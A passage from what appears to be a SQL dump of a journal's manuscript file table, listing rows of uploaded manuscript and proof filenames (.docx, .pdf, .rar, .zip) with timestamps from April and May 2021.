16:53:08',1,3,1),(15781,8064,'8064-Manuscript-2021-04-15-oxmk-IPJUS-21-8064.rar',NULL,'2021-04-15 17:01:07',1,3,1),(15784,8187,'8187-0-Manuscript-2021-04-16.docx',NULL,'2021-04-16 00:29:34',1,1,0),(15791,7421,'7421-Manuscript-2021-04-16-mgok-graphic-completed.pdf',NULL,'2021-04-16 07:48:14',1,3,0),(15792,7376,'7376-1637-Manuscript-proof-submission-2021-04-16.rar',NULL,'2021-04-16 08:01:17',1,3,0),(15798,8064,'8064-Manuscript-2021-04-16-yo0r-graphic-completed.pdf',NULL,'2021-04-16 09:29:54',1,3,1),(15799,8190,'8190-0-Manuscript-2021-04-16.docx',NULL,'2021-04-16 09:52:20',1,1,0),(15801,7897,'7897-Manuscript-2021-04-16-0zy8-graphic-completed.pdf',NULL,'2021-04-16 10:12:01',1,3,1),(15810,8194,'8194-0-Manuscript-2021-04-16.docx',NULL,'2021-04-16 12:12:46',1,1,0),(15815,8012,'8012-571-Manuscript-proof-submission-2021-04-16.rar',NULL,'2021-04-16 12:58:04',1,3,0),(15830,8012,'8012-Manuscript-2021-04-17-9km6-iphsj-21-8012.rar',NULL,'2021-04-17 05:24:39',1,3,1),(15836,7501,'7501-1148-Manuscript-proof-submission-2021-04-17.rar',NULL,'2021-04-17 06:43:19',1,3,1),(15837,7555,'7555-1669-Manuscript-proof-submission-2021-04-17.rar',NULL,'2021-04-17 06:44:58',1,3,1),(15844,8202,'8202-0-Manuscript-2021-04-17.docx',NULL,'2021-04-17 13:24:43',1,1,0),(15855,8205,'8205-0-Manuscript-2021-04-18.docx',NULL,'2021-04-18 13:15:15',1,1,0),(15856,8205,'8205-1-Manuscript-2021-04-18.docx',NULL,'2021-04-18 13:15:15',1,1,0),(15860,8208,'8208-0-Manuscript-2021-04-19.docx',NULL,'2021-04-19 03:58:24',1,1,0),(15867,8041,'8041-1798-Manuscript-proof-submission-2021-04-19.doc',NULL,'2021-04-19 06:53:04',1,3,0),(15868,8041,'8041-1369-Manuscript-proof-submission-2021-04-19.doc',NULL,'2021-04-19 06:53:04',1,3,0),(15869,8041,'8041-993-Manuscript-proof-submission-2021-04-19.docx',NULL,'2021-04-19 06:53:04',1,3,0),(15870,8041,'8041-204-Manuscript-proof-submission-2021-04-19.docx',NULL,'2021-04-19 06:53:04',1,3,0),(15871,8041,'8041-208-Manuscript-proof-submission-2021-04-19.docx',NULL,'2021-04-19 06:53:04',1,3,0),(15873,7356,'7356-Manuscript-2021-04-19-gtwx-ijddr-21-7356.docx',NULL,'2021-04-19 07:22:12',1,3,0),(15875,7356,'7356-Manuscript-2021-04-19-r4gi-rsuite-completed.pdf',NULL,'2021-04-19 07:46:24',1,3,0),(15881,8012,'8012-Manuscript-2021-04-19-whr8-graphic-completed.pdf',NULL,'2021-04-19 09:20:49',1,3,1),(15901,8041,'8041-Manuscript-2021-04-19-lawh-ipaclr-21-8041.zip',NULL,'2021-04-19 12:52:56',1,3,1),(15905,8218,'8218-0-Manuscript-2021-04-20.docx',NULL,'2021-04-19 19:48:16',1,1,0),(15922,7992,'7992-558-Manuscript-proof-submission-2021-04-20.rar',NULL,'2021-04-20 09:40:49',1,3,0),(15923,8224,'8224-0-Manuscript-2021-04-20.docx',NULL,'2021-04-20 09:55:20',1,1,0),(15933,7992,'7992-Manuscript-2021-04-20-gqn1-iphsj-21-7992.rar',NULL,'2021-04-20 13:55:39',1,3,1),(15934,8226,'8226-0-Manuscript-2021-04-20.docx',NULL,'2021-04-20 17:19:15',1,1,0),(15935,6964,'6964-1852-Manuscript-2021-04-21.docx',NULL,'2021-04-21 00:19:44',1,2,0),(15951,7992,'7992-Manuscript-2021-04-21-pu32-graphic-completed.pdf',NULL,'2021-04-21 08:06:00',1,3,1),(15956,8229,'8229-0-Manuscript-2021-04-21.docx',NULL,'2021-04-21 08:18:05',1,1,0),(15965,7883,'7883-789-Manuscript-2021-04-21.docx',NULL,'2021-04-21 12:02:20',1,1,0),(15966,7883,'7883-769-Manuscript-2021-04-21.docx',NULL,'2021-04-21 12:02:20',1,1,0),(15967,8019,'8019-1852-Manuscript-2021-04-21.docx',NULL,'2021-04-21 12:03:29',1,1,0),(15971,7887,'7887-1052-Manuscript-2021-04-21.docx',NULL,'2021-04-21 16:37:08',1,1,0),(15974,7887,'7887-1233-Manuscript-2021-04-21.docx',NULL,'2021-04-21 16:38:41',1,2,0),(15975,7887,'7887-341-Manuscript-2021-04-21.docx',NULL,'2021-04-21 16:38:43',1,2,0),(15995,8239,'8239-0-Manuscript-2021-04-22.docx',NULL,'2021-04-22 06:47:30',1,1,0),(15996,8240,'8240-0-Manuscript-2021-04-22.docx',NULL,'2021-04-22 06:52:14',1,1,0),(15998,8241,'8241-0-Manuscript-2021-04-22.docx',NULL,'2021-04-22 08:47:45',1,1,0),(15999,8041,'8041-Manuscript-2021-04-22-uyz7-move-pdf-making.pdf',NULL,'2021-04-22 10:28:27',1,3,1),(16013,6964,'6964-1852-Manuscript-proof-submission-2021-04-22.zip',NULL,'2021-04-22 13:23:36',1,3,0),(16027,8244,'8244-0-Manuscript-2021-04-23.docx',NULL,'2021-04-23 01:04:05',1,1,0),(16034,8095,'8095-327-Manuscript-proof-submission-2021-04-23.rar',NULL,'2021-04-23 05:08:34',1,3,0),(16054,8253,'8253-0-Manuscript-2021-04-23.docx',NULL,'2021-04-23 11:11:20',1,1,0),(16068,7030,'7030-858-Manuscript-2021-04-23.docx',NULL,'2021-04-23 15:26:13',1,2,0),(16099,7843,'7843-1140-Manuscript-proof-submission-2021-04-24.rar',NULL,'2021-04-24 11:39:39',1,3,1),(16100,7883,'7883-939-Manuscript-proof-submission-2021-04-24.rar',NULL,'2021-04-24 11:46:42',1,3,1),(16102,7029,'7029-457-Manuscript-proof-submission-2021-04-24.zip',NULL,'2021-04-24 12:41:00',1,3,0),(16111,8282,'8282-0-Manuscript-2021-04-25.docx',NULL,'2021-04-25 14:49:44',1,1,0),(16112,8282,'8282-1-Manuscript-2021-04-25.docx',NULL,'2021-04-25 14:49:44',1,1,0),(16113,8282,'8282-2-Manuscript-2021-04-25.doc',NULL,'2021-04-25 14:49:44',1,1,0),(16119,8284,'8284-0-Manuscript-2021-04-25.docx',NULL,'2021-04-25 17:48:10',1,1,0),(16145,7030,'7030-937-Manuscript-proof-submission-2021-04-26.zip',NULL,'2021-04-26 10:27:32',1,3,0),(16148,8297,'8297-0-Manuscript-2021-04-26.docx',NULL,'2021-04-26 10:54:40',1,1,0),(16158,8302,'8302-0-Manuscript-2021-04-26.docx',NULL,'2021-04-26 11:35:35',1,1,0),(16170,7029,'7029-Manuscript-2021-04-26-ew8v-ipaom-21-7029.rar',NULL,'2021-04-26 13:46:08',1,3,1),(16171,8307,'8307-0-Manuscript-2021-04-26.docx',NULL,'2021-04-26 14:12:15',1,1,0),(16172,7030,'7030-Manuscript-2021-04-26-e76i-ipaom-21-7030.rar',NULL,'2021-04-26 14:14:02',1,3,1),(16214,7376,'7376-210-Manuscript-2021-04-27.rar',NULL,'2021-04-27 11:29:59',1,1,1),(16219,8315,'8315-0-Manuscript-2021-04-27.docx',NULL,'2021-04-27 11:44:55',1,1,0),(16224,8316,'8316-0-Manuscript-2021-04-27.docx',NULL,'2021-04-27 12:34:49',1,1,0),(16235,7903,'7903-1838-Manuscript-proof-submission-2021-04-27.rar',NULL,'2021-04-27 14:06:21',1,3,0),(16239,8319,'8319-0-Manuscript-2021-04-28.docx',NULL,'2021-04-27 19:04:23',1,1,0),(16243,7029,'7029-Manuscript-2021-04-28-2gti-graphic-completed.pdf',NULL,'2021-04-28 04:43:07',1,3,0),(16244,8321,'8321-0-Manuscript-2021-04-28.docx',NULL,'2021-04-28 04:50:43',1,1,0),(16248,7030,'7030-Manuscript-2021-04-28-hwvf-graphic-completed.pdf',NULL,'2021-04-28 05:36:49',1,3,0),(16249,8323,'8323-0-Manuscript-2021-04-28.docx',NULL,'2021-04-28 05:43:48',1,1,0),(16250,8323,'8323-1-Manuscript-2021-04-28.docx',NULL,'2021-04-28 05:43:48',1,1,0),(16261,8307,'8307-774-Manuscript-proof-submission-2021-04-28.docx',NULL,'2021-04-28 11:25:09',1,3,0),(16271,7903,'7903-Manuscript-2021-04-28-gfrv-iphsj-21-7903.rar',NULL,'2021-04-28 13:45:50',1,3,0),(16273,8146,'8146-7-Manuscript-proof-submission-2021-04-28.rar',NULL,'2021-04-28 14:45:05',1,3,0),(16274,8145,'8145-692-Manuscript-proof-submission-2021-04-28.rar',NULL,'2021-04-28 14:45:35',1,3,0),(16275,8145,'8145-Manuscript-2021-04-28-y6h9-iphsj-21-8145.rar',NULL,'2021-04-28 15:50:50',1,3,1),(16276,8146,'8146-Manuscript-2021-04-28-ipkh-iphsj-21-8146.rar',NULL,'2021-04-28 15:51:52',1,3,1),(16277,8329,'8329-0-Manuscript-2021-04-28.docx',NULL,'2021-04-28 17:35:04',1,1,0),(16278,8307,'8307-Manuscript-2021-04-28-t5bx-ipaom-21-8307.docx',NULL,'2021-04-28 18:10:47',1,3,1),(16279,7029,'7029-Manuscript-2021-04-29-24bo.pdf',NULL,'2021-04-28 18:52:05',1,3,1),(16280,7030,'7030-Manuscript-2021-04-29-cl2m.pdf',NULL,'2021-04-28 18:52:29',1,3,0),(16288,7712,'7712-773-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:19:52',1,3,0),(16289,7712,'7712-27-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:19:52',1,3,0),(16290,7712,'7712-1170-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:19:52',1,3,0),(16291,7712,'7712-824-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:19:52',1,3,0),(16292,8118,'8118-256-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:23:53',1,3,0),(16293,8118,'8118-1055-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:23:53',1,3,0),(16294,8118,'8118-1732-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:23:53',1,3,0),(16296,8163,'8163-1505-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:33:04',1,3,0),(16297,7751,'7751-1283-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:41:23',1,3,1),(16298,7751,'7751-1853-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:41:23',1,3,0),(16299,7751,'7751-481-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:41:23',1,3,0),(16300,7931,'7931-114-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:42:48',1,3,1),(16301,7931,'7931-1082-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:42:48',1,3,1),(16302,8297,'8297-1046-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:49:45',1,3,0),(16303,8241,'8241-345-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:51:21',1,3,0),(16304,8241,'8241-1067-Manuscript-proof-submission-2021-04-29.docx',NULL,'2021-04-29 05:51:21',1,3,0),(16310,8146,'8146-Manuscript-2021-04-29-80bu-graphic-completed.pdf',NULL,'2021-04-29 08:36:04',1,3,1),(16311,8145,'8145-Manuscript-2021-04-29-z0u4-graphic-completed.pdf',NULL,'2021-04-29 08:36:28',1,3,1),(16314,7903,'7903-Manuscript-2021-04-29-09b5-graphic-completed.pdf',NULL,'2021-04-29 09:46:09',1,3,0),(16316,8337,'8337-0-Manuscript-2021-04-29.docx',NULL,'2021-04-29 10:03:15',1,1,0),(16317,8338,'8338-0-Manuscript-2021-04-29.docx',NULL,'2021-04-29 10:04:59',1,1,0),(16319,8339,'8339-0-Manuscript-2021-04-29.docx',NULL,'2021-04-29 10:12:49',1,1,0),(16320,8340,'8340-0-Manuscript-2021-04-29.docx',NULL,'2021-04-29 10:15:35',1,1,0),(16324,8307,'8307-Manuscript-2021-04-29-zaju-graphic-completed.pdf',NULL,'2021-04-29 11:10:03',1,3,1),(16330,7887,'7887-493-Manuscript-2021-04-29.docx',NULL,'2021-04-29 11:54:59',1,1,0),(16333,7903,'7903-Manuscript-2021-04-29-9dfl-graphic-completed.pdf',NULL,'2021-04-29 12:03:23',1,3,0),(16335,7903,'7903-Manuscript-2021-04-29-mrcg.pdf',NULL,'2021-04-29 13:39:02',1,3,0),(16344,7678,'7678-387-Manuscript-proof-submission-2021-04-30.zip',NULL,'2021-04-30 02:27:51',1,3,0),(16345,7677,'7677-95-Manuscript-proof-submission-2021-04-30.zip',NULL,'2021-04-30 03:15:43',1,3,0),(16358,7751,'7751-Manuscript-2021-04-30-crub-ipacm-21-7751.zip',NULL,'2021-04-30 07:38:27',1,3,1),(16359,8345,'8345-0-Manuscript-2021-04-30.docx',NULL,'2021-04-30 07:59:55',1,1,0),(16372,7854,'7854-1228-Manuscript-proof-submission-2021-04-30.rar',NULL,'2021-04-30 10:38:52',1,3,0),(16376,7677,'7677-Manuscript-2021-04-30-rv32-ipjnn-21-7677.rar',NULL,'2021-04-30 11:21:49',1,3,0),(16377,7678,'7678-Manuscript-2021-04-30-jtr8-ipjnn-21-7678.rar',NULL,'2021-04-30 11:31:38',1,3,0),(16379,7903,'7903-Manuscript-2021-04-30-zjsk-graphic-completed.pdf',NULL,'2021-04-30 11:50:22',1,3,0),(16384,6165,'6165-1567-Manuscript-proof-submission-2021-04-30.docx',NULL,'2021-04-30 12:37:49',1,3,0),(16385,6165,'6165-456-Manuscript-proof-submission-2021-04-30.docx',NULL,'2021-04-30 12:37:49',1,3,0),(16386,5222,'5222-869-Manuscript-proof-submission-2021-04-30.docx',NULL,'2021-04-30 12:40:50',1,3,0),(16387,5222,'5222-852-Manuscript-proof-submission-2021-04-30.docx',NULL,'2021-04-30 12:40:50',1,3,0),(16389,7854,'7854-Manuscript-2021-04-30-1ay4-iphsj-21-7854.rar',NULL,'2021-04-30 13:13:01',1,3,1),(16390,8092,'8092-1714-Manuscript-proof-submission-2021-04-30.rar',NULL,'2021-04-30 13:32:42',1,3,0),(16391,8092,'8092-Manuscript-2021-04-30-uza7-iphsj-21-8092.rar',NULL,'2021-04-30 13:58:18',1,3,1),(16392,7830,'7830-1752-Manuscript-proof-submission-2021-04-30.rar',NULL,'2021-04-30 14:07:53',1,3,0),(16396,7830,'7830-Manuscript-2021-04-30-0ht4-iphsj-21-7830.rar',NULL,'2021-04-30 17:24:12',1,3,1),(16416,8353,'8353-0-Manuscript-2021-05-01.docx',NULL,'2021-05-01 10:15:12',1,1,0),(16425,8358,'8358-0-Manuscript-2021-05-02.docx',NULL,'2021-05-02 12:40:04',1,1,0),(16426,8359,'8359-0-Manuscript-2021-05-03.docx',NULL,'2021-05-02 21:07:15',1,1,0),(16437,8364,'8364-0-Manuscript-2021-05-03.docx',NULL,'2021-05-03 07:14:30',1,1,0),(16439,7830,'7830-Manuscript-2021-05-03-j2yn-graphic-completed.pdf',NULL,'2021-05-03 08:18:16',1,3,1),(16440,7854,'7854-Manuscript-2021-05-03-hlsa-graphic-completed.pdf',NULL,'2021-05-03 08:18:34',1,3,1),(16441,8092,'8092-Manuscript-2021-05-03-id0w-graphic-completed.pdf',NULL,'2021-05-03 08:18:54',1,3,1),(16442,7677,'7677-Manuscript-2021-05-03-18bq-graphic-completed.pdf',NULL,'2021-05-03 08:26:52',1,3,0),(16445,7030,'7030-Manuscript-2021-05-03-rfqo-ap-ame-revised.pdf',NULL,'2021-05-03 09:02:17',1,3,0),(16448,7751,'7751-Manuscript-2021-05-03-m3vy-graphic-completed.pdf',NULL,'2021-05-03 09:23:12',1,3,0),(16449,7751,'7751-Manuscript-2021-05-03-ck8q-graphic-completed.pdf',NULL,'2021-05-03 09:23:38',1,3,0),(16489,8381,'8381-0-Manuscript-2021-05-04.docx',NULL,'2021-05-04 01:13:52',1,1,0),(16490,7678,'7678-Manuscript-2021-05-04-objc-graphic-completed.pdf',NULL,'2021-05-04 02:08:02',1,3,0),(16504,7030,'7030-Manuscript-2021-05-04-nsx8.pdf',NULL,'2021-05-04 07:03:35',1,3,1),(16505,8338,'8338-1518-Manuscript-proof-submission-2021-05-04.docx',NULL,'2021-05-04 07:03:55',1,3,0),(16506,8339,'8339-985-Manuscript-proof-submission-2021-05-04.docx',NULL,'2021-05-04 07:04:41',1,3,0),(16507,8340,'8340-318-Manuscript-proof-submission-2021-05-04.docx',NULL,'2021-05-04 07:05:04',1,3,0),(16508,8226,'8226-1911-Manuscript-proof-submission-2021-05-04.rar',NULL,'2021-05-04 07:08:52',1,3,0),(16509,8338,'8338-Manuscript-2021-05-04-xf32-IPJUS-21-8338.docx',NULL,'2021-05-04 07:36:17',1,3,1),(16510,8339,'8339-Manuscript-2021-05-04-82uz-IPJUS-21-8339.docx',NULL,'2021-05-04 07:36:27',1,3,1),(16511,8340,'8340-Manuscript-2021-05-04-rnu3-IPJUS-21-8340.docx',NULL,'2021-05-04 07:36:42',1,3,1),(16516,8389,'8389-0-Manuscript-2021-05-04.docx',NULL,'2021-05-04 08:52:07',1,1,0),(16518,7931,'7931-Manuscript-2021-05-04-6ojv-ipacm-21-7931.docx',NULL,'2021-05-04 09:44:02',1,3,1),(16523,8226,'8226-Manuscript-2021-05-04-f1me-iphsj-21-8226.rar',NULL,'2021-05-04 11:14:22',1,3,1),(16525,8226,'8226-Manuscript-2021-05-04-nr0v-graphic-completed.pdf',NULL,'2021-05-04 12:34:16',1,3,1),(16540,8396,'8396-0-Manuscript-2021-05-05.docx',NULL,'2021-05-04 18:43:34',1,1,0),(16546,8345,'8345-1980-Manuscript-proof-submission-2021-05-05.docx',NULL,'2021-05-05 05:41:23',1,3,0),(16553,8345,'8345-Manuscript-2021-05-05-ori5-IPJUS-21-8345.docx',NULL,'2021-05-05 08:03:36',1,3,1),(16564,8403,'8403-0-Manuscript-2021-05-05.docx',NULL,'2021-05-05 14:43:23',1,1,0),(16582,8408,'8408-0-Manuscript-2021-05-06.pdf',NULL,'2021-05-06 07:27:20',1,1,0),(16583,8408,'8408-1-Manuscript-2021-05-06.docx',NULL,'2021-05-06 07:27:20',1,1,0),(16618,8417,'8417-0-Manuscript-2021-05-07.docx',NULL,'2021-05-07 06:10:18',1,1,0),(16619,8345,'8345-Manuscript-2021-05-07-urs6-graphic-completed.pdf',NULL,'2021-05-07 06:13:13',1,3,0),(16620,8340,'8340-Manuscript-2021-05-07-b9mf-graphic-completed.pdf',NULL,'2021-05-07 06:18:36',1,3,0),(16621,8339,'8339-Manuscript-2021-05-07-3neh-graphic-completed.pdf',NULL,'2021-05-07 06:24:58',1,3,0),(16622,8338,'8338-Manuscript-2021-05-07-fi1k-graphic-completed.pdf',NULL,'2021-05-07 06:30:49',1,3,0),(16642,7592,'7592-Manuscript-2021-05-08-j64s-graphic-completed.pdf',NULL,'2021-05-08 06:54:58',1,3,1),(16643,7376,'7376-Manuscript-2021-05-08-qjph-graphic-completed.pdf',NULL,'2021-05-08 06:56:10',1,3,1),(16645,8338,'8338-Manuscript-2021-05-08-g2td.pdf',NULL,'2021-05-08 09:12:10',1,3,0),(16646,8339,'8339-Manuscript-2021-05-08-ngwk.pdf',NULL,'2021-05-08 09:12:42',1,3,0),(16647,8340,'8340-Manuscript-2021-05-08-860p.pdf',NULL,'2021-05-08 09:13:10',1,3,0),(16648,8345,'8345-Manuscript-2021-05-08-gyv9.pdf',NULL,'2021-05-08 09:13:36',1,3,0),(16652,8429,'8429-0-Manuscript-2021-05-09.docx',NULL,'2021-05-09 16:47:49',1,1,0),(16662,6825,'6825-1719-Manuscript-proof-submission-2021-05-10.zip',NULL,'2021-05-10 06:50:51',1,3,0),(16663,7501,'7501-Manuscript-2021-05-10-eho5-graphic-completed.pdf',NULL,'2021-05-10 06:54:26',1,3,1),(16664,7555,'7555-Manuscript-2021-05-10-h9k7-graphic-completed.pdf',NULL,'2021-05-10 06:55:51',1,3,1),(16678,8435,'8435-0-Manuscript-2021-05-10.docx',NULL,'2021-05-10 11:04:33',1,1,0),(16679,8435,'8435-1-Manuscript-2021-05-10.docx',NULL,'2021-05-10 11:04:33',1,1,0),(16680,8435,'8435-2-Manuscript-2021-05-10.docx',NULL,'2021-05-10 11:04:33',1,1,0),(16700,8436,'8436-0-Manuscript-2021-05-10.pdf',NULL,'2021-05-10 13:36:22',1,1,0),(16706,8441,'8441-0-Manuscript-2021-05-11.docx',NULL,'2021-05-10 20:24:21',1,1,0),(16707,8441,'8441-1-Manuscript-2021-05-11.docx',NULL,'2021-05-10 20:24:21',1,1,0),(16708,8441,'8441-2-Manuscript-2021-05-11.docx',NULL,'2021-05-10 20:24:21',1,1,0),(16709,8442,'8442-0-Manuscript-2021-05-11.docx',NULL,'2021-05-11 02:09:23',1,1,0),(16717,7887,'7887-833-Manuscript-proof-submission-2021-05-11.rar',NULL,'2021-05-11 05:43:23',1,3,0),(16718,7887,'7887-1508-Manuscript-proof-submission-2021-05-11.rar',NULL,'2021-05-11 05:46:24',1,3,1),(16719,8014,'8014-877-Manuscript-proof-submission-2021-05-11.rar',NULL,'2021-05-11 05:51:01',1,3,1),(16723,8019,'8019-1629-Manuscript-proof-submission-2021-05-11.rar',NULL,'2021-05-11 06:20:24',1,3,1),(16727,8449,'8449-0-Manuscript-2021-05-11.docx',NULL,'2021-05-11 07:46:08',1,1,0),(16734,7931,'7931-Manuscript-2021-05-11-qu0t-graphic-completed.pdf',NULL,'2021-05-11 08:50:54',1,3,0),(16735,7751,'7751-Manuscript-2021-05-11-z0ys-graphic-completed.pdf',NULL,'2021-05-11 08:51:53',1,3,0),(16755,8068,'8068-814-Manuscript-2021-05-11.docx',NULL,'2021-05-11 13:30:07',1,2,0),(16765,8302,'8302-1122-Manuscript-proof-submission-2021-05-12.docx',NULL,'2021-05-12 04:13:31',1,3,0),(16767,8241,'8241-1882-Manuscript-proof-submission-2021-05-12.pdf',NULL,'2021-05-12 04:16:33',1,3,0),(16773,7751,'7751-Manuscript-2021-05-12-yuia.pdf',NULL,'2021-05-12 06:48:30',1,3,1),(16774,7931,'7931-Manuscript-2021-05-12-0diw.pdf',NULL,'2021-05-12 06:49:41',1,3,1),(16778,7843,'7843-Manuscript-2021-05-12-kupq-graphic-completed.pdf',NULL,'2021-05-12 07:24:16',1,3,1),(16779,7883,'7883-Manuscript-2021-05-12-8iej-graphic-completed.pdf',NULL,'2021-05-12 08:03:08',1,3,1),(16785,8460,'8460-0-Manuscript-2021-05-12.docx',NULL,'2021-05-12 09:43:30',1,1,0),(16818,8323,'8323-2009-Manuscript-2021-05-13.docx',NULL,'2021-05-13 06:55:18',1,2,0),(16859,8475,'8475-0-Manuscript-2021-05-13.docx',NULL,'2021-05-13 14:22:28',1,1,0),(16880,8481,'8481-0-Manuscript-2021-05-14.docx',NULL,'2021-05-14 06:53:30',1,1,0),(16886,8338,'8338-Manuscript-2021-05-14-bn3d-move-pdf-making.pdf',NULL,'2021-05-14 07:28:37',1,3,0),(16887,8339,'8339-Manuscript-2021-05-14-eu3y-move-pdf-making.pdf',NULL,'2021-05-14 07:30:00',1,3,0),(16888,8340,'8340-Manuscript-2021-05-14-rip4-move-pdf-making.pdf',NULL,'2021-05-14 07:30:45',1,3,0),(16889,8345,'8345-Manuscript-2021-05-14-x7bu-move-pdf-making.pdf',NULL,'2021-05-14 07:31:20',1,3,0),(16891,8338,'8338-Manuscript-2021-05-14-q5li.pdf',NULL,'2021-05-14 09:53:29',1,3,1),(16892,8339,'8339-Manuscript-2021-05-14-vd94.pdf',NULL,'2021-05-14 09:53:41',1,3,1),(16893,8340,'8340-Manuscript-2021-05-14-lgi8.pdf',NULL,'2021-05-14 09:53:54',1,3,1),(16894,8345,'8345-Manuscript-2021-05-14-uetc.pdf',NULL,'2021-05-14 09:54:07',1,3,1),(16904,8484,'8484-0-Manuscript-2021-05-14.docx',NULL,'2021-05-14 12:43:40',1,1,0),(16905,8315,'8315-1505-Manuscript-proof-submission-2021-05-14.rar',NULL,'2021-05-14 12:47:48',1,3,0),(16917,8315,'8315-Manuscript-2021-05-14-f9ka-iphsj-21-8315.rar',NULL,'2021-05-14 17:32:14',1,3,1),(16919,8490,'8490-0-Manuscript-2021-05-14.docx',NULL,'2021-05-14 17:50:29',1,1,0),(16921,8491,'8491-0-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16922,8491,'8491-1-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16923,8491,'8491-2-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16924,8491,'8491-3-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16925,8491,'8491-4-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16926,8491,'8491-5-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16927,8491,'8491-6-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16928,8491,'8491-7-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16929,8491,'8491-8-Manuscript-2021-05-15.docx',NULL,'2021-05-14 19:19:54',1,1,0),(16933,7924,'7924-79-Manuscript-proof-submission-2021-05-15.zip',NULL,'2021-05-15 03:47:34',1,3,0),(16934,7924,'7924-374-Manuscript-proof-submission-2021-05-15.zip',NULL,'2021-05-15 03:47:41',1,3,0),(16936,7930,'7930-1692-Manuscript-proof-submission-2021-05-15.zip',NULL,'2021-05-15 04:20:00',1,3,0),(16952,8172,'8172-1169-Manuscript-proof-submission-2021-05-15.docx',NULL,'2021-05-15 05:49:29',1,3,0),(16953,8172,'8172-197-Manuscript-proof-submission-2021-05-15.docx',NULL,'2021-05-15 05:49:29',1,3,0),(16954,8172,'8172-1333-Manuscript-proof-submission-2021-05-15.docx',NULL,'2021-05-15 05:49:29',1,3,0),(16957,8494,'8494-0-Manuscript-2021-05-15.docx',NULL,'2021-05-15 06:12:42',1,1,0),(16968,8315,'8315-Manuscript-2021-05-15-e1kw-graphic-completed.pdf',NULL,'2021-05-15 06:51:01',1,3,1),(16974,7924,'7924-Manuscript-2021-05-15-r4ev-ipjnn-21-7924.rar',NULL,'2021-05-15 09:00:30',1,3,0),(16978,7930,'7930-Manuscript-2021-05-15-2iws-ipjnn-21-7930.rar',NULL,'2021-05-15 09:44:50',1,3,0),(16982,8323,'8323-555-Manuscript-proof-submission-2021-05-15.zip',NULL,'2021-05-15 10:18:45',1,3,0),(17006,8513,'8513-0-Manuscript-2021-05-17.docx',NULL,'2021-05-17 04:36:04',1,1,0),(17025,8514,'8514-0-Manuscript-2021-05-17.doc',NULL,'2021-05-17 06:24:15',1,1,0),(17035,7887,'7887-Manuscript-2021-05-17-pfy3-graphic-completed.pdf',NULL,'2021-05-17 06:54:16',1,3,1),(17036,8014,'8014-Manuscript-2021-05-17-mdpc-graphic-completed.pdf',NULL,'2021-05-17 06:55:46',1,3,1),(17038,8019,'8019-Manuscript-2021-05-17-xy6g-graphic-completed.pdf',NULL,'2021-05-17 06:56:36',1,3,1),(17044,8358,'8358-1241-Manuscript-proof-submission-2021-05-17.rar',NULL,'2021-05-17 07:19:33',1,3,0),(17054,7924,'7924-Manuscript-2021-05-17-p0rh-graphic-completed.pdf',NULL,'2021-05-17 09:26:20',1,3,0),(17059,8316,'8316-364-Manuscript-proof-submission-2021-05-17.rar',NULL,'2021-05-17 10:11:48',1,3,0),(17060,7930,'7930-Manuscript-2021-05-17-1ta9-graphic-completed.pdf',NULL,'2021-05-17 10:22:03',1,3,0),(17068,8323,'8323-Manuscript-2021-05-17-p5xo-IPJUS-21-8323.rar',NULL,'2021-05-17 14:19:42',1,3,1),(17078,8358,'8358-Manuscript-2021-05-17-f8oa-iphsj-21-8358.rar',NULL,'2021-05-17 17:26:45',1,3,1),(17079,8316,'8316-Manuscript-2021-05-17-vxr6-iphsj-21-8316.rar',NULL,'2021-05-17 17:31:59',1,3,1),(17080,8519,'8519-0-Manuscript-2021-05-18.docx',NULL,'2021-05-17 18:39:01',1,1,0),(17081,8519,'8519-1-Manuscript-2021-05-18.doc',NULL,'2021-05-17 18:39:01',1,1,0),(17083,8521,'8521-0-Manuscript-2021-05-18.docx',NULL,'2021-05-17 21:45:03',1,1,0),(17092,8316,'8316-Manuscript-2021-05-18-xhn4-graphic-completed.pdf',NULL,'2021-05-18 05:48:45',1,3,1),(17096,8529,'8529-0-Manuscript-2021-05-18.docx',NULL,'2021-05-18 06:16:54',1,1,0),(17097,8358,'8358-Manuscript-2021-05-18-xty2-graphic-completed.pdf',NULL,'2021-05-18 06:33:44',1,3,1),(17103,8323,'8323-Manuscript-2021-05-18-1ziu-graphic-completed.pdf',NULL,'2021-05-18 07:22:28',1,3,0),(17105,8531,'8531-0-Manuscript-2021-05-18.docx',NULL,'2021-05-18 07:57:38',1,1,0),(17112,7871,'7871-1495-Manuscript-proof-submission-2021-05-18.zip',NULL,'2021-05-18 08:41:52',1,3,0),(17113,8532,'8532-0-Manuscript-2021-05-18.docx',NULL,'2021-05-18 08:57:52',1,1,0),(17117,8534,'8534-0-Manuscript-2021-05-18.docx',NULL,'2021-05-18 09:44:49',1,1,0),(17130,8068,'8068-203-Manuscript-proof-submission-2021-05-18.zip',NULL,'2021-05-18 11:41:28',1,3,0),(17131,8541,'8541-0-Manuscript-2021-05-18.docx',NULL,'2021-05-18 11:43:17',1,1,0),(17146,8545,'8545-0-Manuscript-2021-05-18.docx',NULL,'2021-05-18 14:34:00',1,1,0),(17147,7871,'7871-Manuscript-2021-05-18-zd81-ipjnn-21-7871.rar',NULL,'2021-05-18 